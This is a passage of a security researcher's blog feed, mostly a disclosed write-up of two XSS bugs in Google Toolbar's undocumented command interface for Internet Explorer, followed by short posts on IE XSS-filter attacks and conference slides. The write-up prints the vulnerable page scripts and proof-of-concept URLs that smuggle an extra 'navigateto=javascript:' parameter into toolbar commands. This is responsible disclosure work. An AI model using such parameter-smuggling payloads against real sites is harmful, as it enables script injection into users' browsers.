menu\"\u0026gt;\u003C\/blockquote\u003E\nYou can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at \u003Ccode\u003Ecommand()\u003C\/code\u003E function.\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nwindow.location = 'http:\/\/toolbar.google.com\/command?key=' + document.googleToken + s;\u003C\/blockquote\u003E\nUsually, we will jump to \"http:\/\/toolbar.google.com\/command?...\" by this code. But on IE which Google Toolbar is installed, the navigation to \"http:\/\/toolbar.google.com\/command\" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page, \u003Ccode\u003Efixmenu=1\u003C\/code\u003E is associated with the reset settings.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ccode\u003Edocument.googleToken\u003C\/code\u003E is used for CSRF token. \u003Ccode\u003Edocument.googleToken\u003C\/code\u003E is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nOK, that's about it.\u003Cbr \/\u003E\n\u003Ch2\u003E\nExamine Toolbar's command\u003C\/h2\u003E\nFirst, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed \u003Ccode\u003Enavigateto\u003C\/code\u003E command. As its name suggests, \u003Ccode\u003Enavigateto\u003C\/code\u003E command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.\u003Cbr \/\u003E\n(Note: It seems this command was removed on latest Google Toolbar )\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nlocation=\"http:\/\/toolbar.google.com\/command?key=\"+document.googleToken+\"\u0026amp;navigateto=http:\/\/example.com\/\"\u003C\/blockquote\u003E\nAlso I tested javascript: URL.\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nlocation=\"http:\/\/toolbar.google.com\/command?key=\"+document.googleToken+\"\u0026amp;navigateto=javascript:alert(1)\"\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nThen I got an alert dialog! But It's too early to rejoice because we can't know \u003Ccode\u003Edocument.googleToken\u003C\/code\u003E from external page. In other words, if an attacker can get \u003Ccode\u003Edocument.googleToken\u003C\/code\u003E, it becomes XSS hole directly.\u003Cbr \/\u003E\n\u003Ch2\u003E\nXSS part 1\u003C\/h2\u003E\nI went around to resources of toolbar.google.com domain and I found the following page:\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/toolbar.google.com\/dc\/dcuninstall.html\"\u003Ehttp:\/\/toolbar.google.com\/dc\/dcuninstall.html\u003C\/a\u003E　(\u003Ca href=\"https:\/\/web.archive.org\/web\/20110928034724\/\"\u003EWebArchive\u003C\/a\u003E)\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script language=\"JavaScript\"\u0026gt; \u0026lt;!--\u003Cbr \/\u003E\n\u0026nbsp; function command(s) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; window.location = 'http:\/\/toolbar.google.com\/command?key=' + document.googleToken + s;\u003Cbr \/\u003E\n\u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; function OnYes() {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; var path = document.location.href.substring(0,document.location.href.lastIndexOf(\"\/\") + 1);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; command(\"\u0026amp;uninstall-dc=anyway\u0026amp;DcClientMenu=false\u0026amp;EnableDC=false\u0026amp;navigateto=\" + path + \"dcuninstalled.html\");\u003Cbr \/\u003E\n\/\/ \u0026nbsp; \u0026nbsp;window.location=path + \"dcuninstallfailed.html\";\u003Cbr \/\u003E\n\u0026nbsp; }\u003Cbr \/\u003E\n\/\/ --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n...\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026lt;script language=\"JavaScript\"\u0026gt; \u0026lt;!--\u003Cbr \/\u003E\ndocument.write('\u0026lt;button default class=button name=yes ');\u003Cbr \/\u003E\ndocument.write('onclick=\"OnYes(); \"\u0026gt;Uninstall Google Compute\u0026lt;\/button\u0026gt;');\u003Cbr \/\u003E\n\/\/ --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u0026nbsp;\u003C\/blockquote\u003E\nThe page has the button which can execute command. If button is clicked, it calls \u003Ccode\u003Ecommand(\"\u0026amp;uninstall-dc=anyway\u0026amp;DcClientMenu=false\u0026amp;EnableDC=false\u0026amp;navigateto=\" + path + \"dcuninstalled.html\");\u003C\/code\u003E function via \u003Ccode\u003EOnYes()\u003C\/code\u003E function.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's put command details aside, take a look at the \u003Ccode\u003Epath\u003C\/code\u003E variable. The \u003Ccode\u003Epath\u003C\/code\u003E variable is set by the following line:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026nbsp; var path = document.location.href.substring(0,document.location.href.lastIndexOf(\"\/\") + 1);\u003C\/blockquote\u003E\nIt cuts \u003Ccode\u003Elocation.href\u003C\/code\u003E to use as command string. I believe that the coder expects following bold string:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cb\u003Ehttps:\/\/toolbar.google.com\/dc\/\u003C\/b\u003Edcuninstall.html\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nBut this code is not good. If the URL has \u003Ccode\u003E\/\u003C\/code\u003E in the query or hash, it will cut unexpected URL string.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cb\u003Ehttps:\/\/toolbar.google.com\/dc\/dcuninstall.html?xxx\/\u003C\/b\u003Eyyy\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nSo, what will happen if we put the following string?\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cb\u003Ehttps:\/\/toolbar.google.com\/dc\/dcuninstall.html?\u0026amp;navigateto=javascript:alert(1)\/\/\u003C\/b\u003E\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nThis URL is assigned into the \u003Ccode\u003Epath\u003C\/code\u003E variable and it is used for the part of the command string, like this:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nhttp:\/\/toolbar.google.com\/command?key=[TOKEN]\u0026amp;uninstall-dc=anyway\u0026amp;DcClientMenu=false\u0026amp;EnableDC=false\u0026amp;navigateto=\u003Cb\u003Ehttps:\/\/toolbar.google.com\/dc\/dcuninstall.html?\u003Cspan style=\"color: red;\"\u003E\u0026amp;\u003C\/span\u003Enavigateto=javascript:alert(1)\/\/\u003C\/b\u003Edcuninstalled.html\u003C\/div\u003E\n\u003Cbr \/\u003E\nThere are two \u003Ccode\u003Enavigateto\u003C\/code\u003E in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to \u003Ccode\u003Ejavascript:alert(1)\/\/dcuninstalled.html\u003C\/code\u003E!!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIn this way, I have achieved XSS without knowing \u003Ccode\u003Edocument.googleToken\u003C\/code\u003E.\u003Cbr \/\u003E\n\u003Ch2\u003E\nXSS part 2\u003C\/h2\u003E\nAfter that, I found another interesting page:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/toolbar.google.com\/buttons\/edit\/index.html\"\u003Ehttps:\/\/toolbar.google.com\/buttons\/edit\/index.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script language=JavaScript\u0026gt;\u003Cbr \/\u003E\n\u0026lt;!--\u003Cbr \/\u003E\ndocument.custom_button_uid = \"\";\u003Cbr \/\u003E\nfunction command(s) {\u003Cbr \/\u003E\n\u0026nbsp; window.location = \"http:\/\/toolbar.google.com\/command?key=\" +\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; document.googleToken + s;\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nfunction Load() {\u003Cbr \/\u003E\n\u0026nbsp; var url = window.document.URL.toString();\u003Cbr \/\u003E\n\u0026nbsp; var url_pieces = url.split(\"?\");\u003Cbr \/\u003E\n\u0026nbsp; if (url_pieces.length \u0026gt; 1) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; var params = url_pieces[1].split(\"\u0026amp;\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; var i = 0;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; for (i = 0; i \u0026lt; params.length; i++) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; param_pieces = params[i].split(\"=\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; if (param_pieces.length == 2 \u0026amp;\u0026amp;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; param_pieces[0] == \"custom_button_uri\" \u0026amp;\u0026amp;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; param_pieces[1].length \u0026gt; 0) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; document.custom_button_uid = unescape(param_pieces[1]);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; } \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u003Cbr \/\u003E\n\u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; if (document.custom_button_uid != \"\") {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; action.innerHTML = document.forms[0].edit_mode_title.value;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; command(\"\u0026amp;custom-button-load=\" + document.custom_button_uid);\u003Cbr \/\u003E\n\u0026nbsp; }\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n....\u003Cbr \/\u003E\n\/\/ --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;body onload=\"Load()\"\u0026gt;\u003C\/blockquote\u003E\nLet's take a look at this code.\u0026nbsp;\u003C\/div\u003E\nFirst, \u003Ccode\u003ELoad()\u003C\/code\u003E function is called:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;body onload=\"Load()\"\u0026gt;\u0026nbsp;\u003C\/blockquote\u003E\n\u003Ccode\u003ELoad()\u003C\/code\u003E function sets \u003Ccode\u003Edocument.URL\u003C\/code\u003E string to \u003Ccode\u003Eurl\u003C\/code\u003E variable:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nvar url = window.document.URL.toString();\u003C\/blockquote\u003E\nThe query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find \u003Ccode\u003Ecustom_button_uri\u003C\/code\u003E parameter. If it can find the parameter, it assigns the parameter value to the \u003Ccode\u003Edocument.custom_button_uid\u003C\/code\u003E variable.\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026nbsp; var url_pieces = url.split(\"?\");\u003Cbr \/\u003E\n\u0026nbsp; if (url_pieces.length \u0026gt; 1) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; var params = url_pieces[1].split(\"\u0026amp;\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; var i = 0;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; for (i = 0; i \u0026lt; params.length; i++) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; param_pieces = params[i].split(\"=\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; if (param_pieces.length == 2 \u0026amp;\u0026amp;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u003Cb\u003Eparam_pieces[0] == \"custom_button_uri\"\u003C\/b\u003E \u0026amp;\u0026amp;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; param_pieces[1].length \u0026gt; 0) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; document.custom_button_uid = unescape(param_pieces[1]);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; } \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u003Cbr \/\u003E\n\u0026nbsp; }\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nThe \u003Ccode\u003Edocument.custom_button_uid\u003C\/code\u003E variable is passed to \u003Ccode\u003Ecommand()\u003C\/code\u003E function:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026nbsp; if (document.custom_button_uid != \"\") {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; action.innerHTML = document.forms[0].edit_mode_title.value;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; command(\"\u0026amp;custom-button-load=\" +\u003Cb\u003E document.custom_button_uid\u003C\/b\u003E);\u003Cbr \/\u003E\n\u0026nbsp; }\u003C\/blockquote\u003E\nThis means that user input is passed into command via the \u003Ccode\u003Ecustom_button_uri\u003C\/code\u003E query parameter.\u003Cbr \/\u003E\nLet's take a look at the assignment part again:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\ndocument.custom_button_uid =\u0026nbsp;\u003Cb\u003Eunescape(\u003C\/b\u003Eparam_pieces[1]\u003Cb\u003E)\u003C\/b\u003E;\u003C\/blockquote\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nFortunately, the \u003Ccode\u003Ecustom_button_uri\u003C\/code\u003E value passes through \u003Ccode\u003Eunescape()\u003C\/code\u003E method! This means that we can put urlencoded \u003Ccode\u003E\u0026amp;\u003C\/code\u003E and \u003Ccode\u003E=\u003C\/code\u003E, like this:\u003C\/div\u003E\n\u003Cbr \/\u003E\nhttps:\/\/toolbar.google.com\/buttons\/edit\/index.html?custom_button_uri=\u003Cb\u003E%26navigateto%3Djavascript:alert(document.domain)\u003C\/b\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFinally, the command string is:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nhttp:\/\/toolbar.google.com\/command?key=[TOKEN]\u0026amp;custom-button-load=\u0026amp;navigateto=\u003Cb\u003Ejavascript:alert(document.domain)\u003C\/b\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nDone!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh4n4tCgq6wR0VO3R-L1qdja5LES50atcNZJK3kr1jKl70xs_Yb9Hkx61PP2x1x1pVUe5X_wT7PdQpuIf5hOXLt-hkHxuhrX14tdimvtjADe2D-0pMYHgvo3f6-acRkWcB2yxM7AeOD_wc\/s1600\/toolbar.google.com_xss.png\" imageanchor=\"1\"\u003E\u003Cimg border=\"0\" height=\"348\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh4n4tCgq6wR0VO3R-L1qdja5LES50atcNZJK3kr1jKl70xs_Yb9Hkx61PP2x1x1pVUe5X_wT7PdQpuIf5hOXLt-hkHxuhrX14tdimvtjADe2D-0pMYHgvo3f6-acRkWcB2yxM7AeOD_wc\/s640\/toolbar.google.com_xss.png\" width=\"640\" \/\u003E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Ch2\u003E\nRewards\u003C\/h2\u003E\nI reported the bugs via\u0026nbsp;\u003Ca href=\"https:\/\/www.google.com\/about\/appsecurity\/reward-program\/\"\u003EGoogle VRP\u003C\/a\u003E\u0026nbsp;and I received the reward of $3133.7 × 2.\u003Cbr \/\u003E\nIt is not easy to find and understand non-documented commands, but it was a fun time.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAnd finally, I would like to introduce the holiday gift that I received from Google last year.\u003Cbr \/\u003E\n(You can find past gifts from:\u0026nbsp;\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2012\/02\/googlechromebook.html\"\u003EChromebook\u003C\/a\u003E,\u0026nbsp;\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2012\/12\/google-nexus10.html\"\u003ENexus 10\u003C\/a\u003E,\u0026nbsp;\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2014\/01\/google-nexus5.html\"\u003ENexus 5\u003C\/a\u003E,\u0026nbsp;\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2015\/01\/google-moto360.html\"\u003EMoto 360\u003C\/a\u003E\u0026nbsp;\u0026nbsp;)\u003Cbr \/\u003E\nIt is the\u0026nbsp;\u003Ca href=\"https:\/\/inversepath.com\/usbarmory\"\u003EUSB Armory\u003C\/a\u003E, Bug Bountopoly and post card!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjtOSLqeyqBS_QNoSgbA96jpHAewMp23cReumVjY02pT8evP4PyY3qH1Dl9AXpHBg3Moy1MKHAQ6CZ2h3KjE8RH5NmlJ18h7QlGMz3bgjxxMrpsQNZlEPdbtBhjjKWMDVBTx4tCAxNavJE\/s1600\/vrp.jpg\" imageanchor=\"1\"\u003E\u003Cimg border=\"0\" height=\"480\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjtOSLqeyqBS_QNoSgbA96jpHAewMp23cReumVjY02pT8evP4PyY3qH1Dl9AXpHBg3Moy1MKHAQ6CZ2h3KjE8RH5NmlJ18h7QlGMz3bgjxxMrpsQNZlEPdbtBhjjKWMDVBTx4tCAxNavJE\/s640\/vrp.jpg\" width=\"640\" \/\u003E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh3VV7DdWHH2ZDKkZK4yAR61vLj9MEdP3cyz-aHga_YQy268-6WfD6zK12Fw5U7zfxbH1nMXpWThFT8FPi44hyphenhyphenntXMd2Mv3Fs72TsNhE1bXBpZ73Hfplh8qlSG5xBCFm1DFOe-yv-N32lU\/s1600\/bbt.png\" imageanchor=\"1\"\u003E\u003Cimg border=\"0\" height=\"480\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh3VV7DdWHH2ZDKkZK4yAR61vLj9MEdP3cyz-aHga_YQy268-6WfD6zK12Fw5U7zfxbH1nMXpWThFT8FPi44hyphenhyphenntXMd2Mv3Fs72TsNhE1bXBpZ73Hfplh8qlSG5xBCFm1DFOe-yv-N32lU\/s640\/bbt.png\" width=\"640\" \/\u003E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nStephen of Google Security Team gave me the Japanese message and\u0026nbsp;\u003Ca href=\"http:\/\/www.slideshare.net\/codeblue_jp\/cb14-masato-kinugawaen\"\u003Ebug hunter's llustration\u003C\/a\u003E. It's so lovely!\u003Cbr \/\u003E\nI will continue the bug reports again this year. Thank you so much!\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/2072858093260853536\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/01\/google-toolbar-xss.html#comment-form","title":"28 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/2072858093260853536"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/2072858093260853536"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/01\/google-toolbar-xss.html","title":"XSS using Google Toolbar's command"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh4n4tCgq6wR0VO3R-L1qdja5LES50atcNZJK3kr1jKl70xs_Yb9Hkx61PP2x1x1pVUe5X_wT7PdQpuIf5hOXLt-hkHxuhrX14tdimvtjADe2D-0pMYHgvo3f6-acRkWcB2yxM7AeOD_wc\/s72-c\/toolbar.google.com_xss.png","height":"72","width":"72"},"thr$total":{"$t":"28"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-926731091408893041"},"published":{"$t":"2015-12-16T10:14:00.000-08:00"},"updated":{"$t":"2015-12-16T10:14:17.193-08:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Slides"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSSFilter"}],"title":{"type":"text","$t":"X-XSS-Nightmare: XSS Attacks Exploiting XSS Filter"},"content":{"type":"html","$t":"\u003Cdiv\u003E\nIn this post, I would like to share XSS attack using IE's XSS filter. This issue was fixed in \u003Ca href=\"https:\/\/technet.microsoft.com\/en-us\/library\/security\/ms15-dec.aspx\"\u003Ethe December patch\u003C\/a\u003E by Microsoft. (CVE-2015-6144 \/ CVE-2015-6176)\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nI spoke about this topics in the Japanese info-sec conference called CODE BLUE. You can find my name \u003Ca href=\"http:\/\/codeblue.jp\/2015\/en\/contents\/speakers.html#speaker-kinugawa\"\u003Ehere\u003C\/a\u003E. In my presentation, I talked about only the concept and I didn't touch details of attack techniques because it was not fixed at that time.\u0026nbsp;\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nToday, I can finally release hidden slides! Yeah!\u003C\/div\u003E\n\u003Cdiv\u003E\nThe real X-XSS-Nightmare slides is the following.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ciframe allowfullscreen=\"\" frameborder=\"0\" height=\"485\" marginheight=\"0\" marginwidth=\"0\" scrolling=\"no\" src=\"\/\/www.slideshare.net\/slideshow\/embed_code\/key\/gLGW3eRYhvmd58\" style=\"border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;\" width=\"595\"\u003E \u003C\/iframe\u003E \u003Cbr \/\u003E\n\u003Cdiv style=\"margin-bottom: 5px;\"\u003E\n\u003Cstrong\u003E \u003Ca href=\"https:\/\/www.slideshare.net\/masatokinugawa\/xxn-en\" target=\"_blank\" title=\"X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter\"\u003EX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter\u003C\/a\u003E \u003C\/strong\u003E from \u003Cstrong\u003E\u003Ca href=\"https:\/\/www.slideshare.net\/masatokinugawa\" target=\"_blank\"\u003EMasato Kinugawa\u003C\/a\u003E\u003C\/strong\u003E \u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nSome attack vectors which I have reported are not fixed yet. So, I had to remove some slides :p\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nYou can reproduce some PoC from this page:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/xxn\/\" style=\"font-size: 30px;\"\u003Ehttp:\/\/l0.cm\/xxn\/\u003C\/a\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI hope you will enjoy it!\u003C\/div\u003E\n\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/926731091408893041\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/12\/xxn.html#comment-form","title":"34 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/926731091408893041"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/926731091408893041"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/12\/xxn.html","title":"X-XSS-Nightmare: XSS Attacks Exploiting XSS Filter"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"34"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-174344602711275741"},"published":{"$t":"2015-11-20T08:02:00.001-08:00"},"updated":{"$t":"2015-11-20T08:02:07.198-08:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Slides"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"My Presentation at AVTOKYO2015: Bug-hunter's Sorrow"},"content":{"type":"html","$t":"In this post, I'd like to share my slides in \u003Ca href=\"http:\/\/en.avtokyo.org\/\"\u003EAVTOKYO2015\u003C\/a\u003E. AVTOKYO2015 is a computer security conference which was held in November 14, 2015 at Tokyo.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIn September 2013, the incident happened. My internet connection was blocked by ISP because they regarded my XSS request as attack. I spoke about details of that sad story. Also, you can see my income in 2014 and technical details of interesting XSS bugs.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ciframe allowfullscreen=\"\" frameborder=\"0\" height=\"485\" marginheight=\"0\" marginwidth=\"0\" scrolling=\"no\" src=\"\/\/www.slideshare.net\/slideshow\/embed_code\/key\/srISphLyKpHhf\" style=\"border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;\" width=\"595\"\u003E \u003C\/iframe\u003E \u003Cbr \/\u003E\n\u003Cdiv style=\"margin-bottom: 5px;\"\u003E\n\u003Cstrong\u003E \u003Ca href=\"https:\/\/www.slideshare.net\/masatokinugawa\/avtokyo-bug-hunters-sorrow-en\" target=\"_blank\" title=\"Bug-hunter's Sorrow\"\u003EBug-hunter's Sorrow\u003C\/a\u003E \u003C\/strong\u003E from \u003Cstrong\u003E\u003Ca href=\"https:\/\/www.slideshare.net\/masatokinugawa\" target=\"_blank\"\u003EMasato Kinugawa\u003C\/a\u003E\u003C\/strong\u003E \u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFYI, I spoke about \"Bug-hunter's Joy\" before.\u0026nbsp;Read it, if you please.\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/mksben.l0.cm\/2015\/07\/codeblue.html\"\u003Ehttp:\/\/mksben.l0.cm\/2015\/07\/codeblue.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI hope you will enjoy it.\u003Cbr \/\u003E\nThank you!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/174344602711275741\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/11\/avtokyo2015.html#comment-form","title":"20 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/174344602711275741"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/174344602711275741"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/11\/avtokyo2015.html","title":"My Presentation at AVTOKYO2015: Bug-hunter's Sorrow"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"20"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-7599754967794016938"},"published":{"$t":"2015-10-23T08:01:00.000-07:00"},"updated":{"$t":"2015-10-23T08:41:30.066-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Chrome"},{"scheme":"http://www.blogger.com/atom/ns#","term":"CSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Firefox"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"CSS based Attack: Abusing unicode-range of @font-face"},"content":{"type":"html","$t":"In this post, I would like to share about new CSS based attack with \u003Ca href=\"https:\/\/developer.mozilla.org\/en\/docs\/Web\/CSS\/%40font-face\/unicode-range\"\u003Eunicode-range descriptor of 